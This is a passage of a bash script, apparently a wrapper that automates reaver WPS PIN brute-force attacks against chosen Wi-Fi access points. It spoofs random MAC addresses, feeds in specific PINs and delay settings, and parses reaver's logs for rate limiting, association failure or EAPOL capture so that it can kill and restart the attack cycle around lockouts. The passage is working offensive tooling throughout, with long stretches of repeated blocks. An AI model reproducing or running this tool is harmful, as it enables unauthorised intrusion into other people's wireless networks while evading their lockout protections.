REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME41-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME41-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME41-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP41 (ESSID: $NMEWARN41)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME41-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME41-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME41-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME41-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP41 (ESSID: $NMEWARN41)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME41-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######


####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi



#############PIN Addittions

if [[ $USE_R41 == n || $USE_R41 == N ]] && [[ $USE_LONG41 == n || $USE_LONG41 == N ]] && [[ $USE_PIN41 == y || $USE_PIN41 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME41"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL41"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP41"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE41 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME41-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL41 -b $TARGETAP41 -vv -x 60  --pin=$WPS_PIN41 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME41-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE41-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME41-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME41-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME41-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME41-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME41-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME41-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME41-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME41-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME41-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME41-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME41-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME41-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP41 (ESSID: $NMEWARN41)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME41-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME41-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME41-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME41-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP41 (ESSID: $NMEWARN41)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME41-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

if [[ $USE_R41 == y || $USE_R41 == Y ]] && [[ $USE_LONG41 == n || $USE_LONG41 == N ]] && [[ $USE_PIN41 == y || $USE_PIN41 == Y ]]; then


echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME41"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL41"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP41"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX41" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY41"
echo -e "$info Reaver live time                   = $yel$LIVE41 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME41-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL41 -b $TARGETAP41 -vv -x 60 -r $RX41:$RY41 --pin=$WPS_PIN41 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME41-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE41-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME41-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME41-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME41-$DATEFILE-$PAD | awk '{print $5}'`

if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME41-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME41-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME41-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME41-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME41-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY32" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY33" ]] || [[ $line == "YYY34" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME41-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME41-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME41-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME41-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP41 (ESSID: $NMEWARN41)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME41-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME41-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME41-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME41-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP41 (ESSID: $NMEWARN41)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME41-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired

PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi

#######################


if [[ $USE_R41 == n || $USE_R41 == N ]] && [[ $USE_LONG41 == y || $USE_LONG41 == Y ]] && [[ $USE_PIN41 == y || $USE_PIN41 == Y ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME41"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL41"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP41"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE41 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME41-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL41 -b $TARGETAP41 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN41 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME41-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE41-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME41-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME41-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME41-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME41-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME41-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME41-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME41-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME41-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME41-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME41-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME41-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME41-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP41 (ESSID: $NMEWARN41)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME41-$DATEFILE-$PAD

                   fi


REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME41-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME41-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME41-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP41 (ESSID: $NMEWARN41)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME41-$DATEFILE-$PAD

                   fi

#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired


PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null
clear
	fi
###################

if [[ $USE_R41 == y || $USE_R41 == Y ]] && [[ $USE_LONG41 == y || $USE_LONG41 == Y ]] && [[ $USE_PIN41 == y || $USE_PIN41 == Y ]]; then

echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME41"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL41"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP41"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Recurring-delay pin attempts x     = $yel$RX41" 
echo -e "$info Recurring-delay sleep in sec y     = $yel$RY41"
echo -e "$info Reaver live time                   = $yel$LIVE41 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME41-$DATEFILE-$PAD"

echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL41 -b $TARGETAP41 -r $RX41:$RY41 -E -vv -N -T 1 -t 20 -d 0 -l 420 -x 30 --pin=$WPS_PIN41 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME41-$DATEFILE-$PAD" &

sleep 2
#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE41-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  1. Reading $NAME41-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY11" ]] || [[ $line == "YYY12" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY13" ]] || [[ $line == "YYY14" ]]; then 

                    let LINECAP=1

                  fi

#echo "1. Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME41-$DATEFILE-$PAD

                   fi

REVLOGSIZE1=`ls -l VARMAC_LOGS/$NAME41-$DATEFILE-$PAD | awk '{print $5}'`


if [ $LINECAP -eq 2 ]; then 

	echo " "
	echo -e "$info  2. Reading $NAME41-$DATEFILE-$PAD for AP rate limiting."
	sleep 30

           fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY21" ]] || [[ $line == "YYY22" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY23" ]] || [[ $line == "YYY24" ]]; then 

                    let LINECAP=1

                  fi

#echo "2 Reading file for AP rate limiting."

done < VARMAC_LOGS/$NAME41-$DATEFILE-$PAD

                   fi

REVLOGSIZE2=`ls -l VARMAC_LOGS/$NAME41-$DATEFILE-$PAD | awk '{print $5}'`


if [ $REVLOGSIZE1 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi

contents=$(cat "VARMAC_LOGS/$NAME41-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

echo " "
	echo -e "$info  3. Reading $NAME41-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "YYY31" ]] || [[ $line == "YYY6" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY32" ]] || [[ $line == "YYY33" ]]; then 

                    let LINECAP=1

                  fi

#echo "3 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME41-$DATEFILE-$PAD

                   fi

REVLOGSIZE3=`ls -l VARMAC_LOGS/$NAME41-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE3 -eq $REVLOGSIZE2 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME41-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac


if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  4. Reading $NAME41-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP41 (ESSID: $NMEWARN41)" ]] || [[ $line == "YYY41" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY42" ]] || [[ $line == "YYY43" ]]; then 

                    let LINECAP=1

                  fi

#echo "4 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME41-$DATEFILE-$PAD

                   fi

REVLOGSIZE4=`ls -l VARMAC_LOGS/$NAME41-$DATEFILE-$PAD | awk '{print $5}'`

if [ $REVLOGSIZE4 -eq $REVLOGSIZE3 ]; then

	    LINECAP=1

		fi


contents=$(cat "VARMAC_LOGS/$NAME41-$DATEFILE-$PAD")
case $contents in
	*"$EAPOL"*)
	LINECAP=1

         esac

if [ $LINECAP -eq 2 ]; then

	echo " "
	echo -e "$info  5. Reading $NAME41-$DATEFILE-$PAD for AP rate limiting."
	sleep $LIVEDIV

	fi

if [ $LINECAP -eq 2 ]; then

while read line

	do

	 if [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking" ]] || [[ $line == "[!] WARNING: Failed to associate with $TARGETAP41 (ESSID: $NMEWARN41)" ]] || [[ $line == "YYY51" ]] || [[ $line == "[!] WARNING: Detected AP rate limiting, waiting 420 seconds before re-checking" ]] || [[ $line == "YYY52" ]] || [[ $line == "YYY53" ]]; then 

                    let LINECAP=1

                  fi

#echo "5 Reading file for AP rate limiting or failure to associate."

done < VARMAC_LOGS/$NAME41-$DATEFILE-$PAD

                   fi


#######DETERMINE WPS LOCKED-NO ASSOC END ######

####### Either WPS Locked/No Assoc found or time in LIVE has expired



PIDREV=$(airmon-ng check | grep "reaver" | sed s/"(reaver) is running on interface $MON"//g)
#
PIDREV1=${PIDREV##*D }
#
kill -s SIGINT $PIDREV1

sleep 2
killall -q Eterm &> /dev/null



clear
	fi

################# Determine to keep file or not ###########

 if [ $KEEP_FILE41 == n ] || [ $KEEP_FILE41 == N ]; then

          rm VARMAC_LOGS/$NAME41-$DATEFILE-$PAD

			fi

################End keep file or ease #####################


###############################END USR Block################################################
###############################Start USR Block################################################

if [[ $USE_R42 == n || $USE_R42 == N ]] && [[ $USE_LONG42 == n || $USE_LONG42 == N ]] && [[ $USE_PIN42 == n || $USE_PIN42 == N ]]; then

echo -e " "
echo -e "$info             Starting Reaver"
echo -e "$info TargetAP Name                      = $yel$NAME42"
echo -e "$info Monitor                            = $yel$MON"
echo -e "$info Channel                            = $yel$CHANNEL42"
echo -e "$info Mac code of Target AP              = $yel$TARGETAP42"
echo -e "$info Random Mac code                    = $yel$VARMAC"
echo -e "$info Reaver live time                   = $yel$LIVE42 $info sec"
echo -e "$info Reaver start/stop cycles remaining = $yel$COUNT"
echo -e "$info File name being written to root    = $yel$NAME42-$DATEFILE-$PAD"
echo -e "$txtrst"

Eterm -g 80x10-1+100 --cmod "red" -T "Reaver" -e sh -c "reaver -i $MON -a -f -c $CHANNEL42 -b $TARGETAP42 -vv -x 60 --mac=$VARMAC 2>&1 | tee VARMAC_LOGS/$NAME42-$DATEFILE-$PAD" &
sleep 2

#######DETERMINE WPS LOCKED-NO ASSOC BEGIN ########
# Divide time to take file snaps every 1/5 LIVE time to avoid subprocess hang with tail.
LIVEDIV=$(((($LIVE42-60))/3))
LINECAP=2 # Set line capture switch


if [ $LINECAP -eq 2 ]; then 

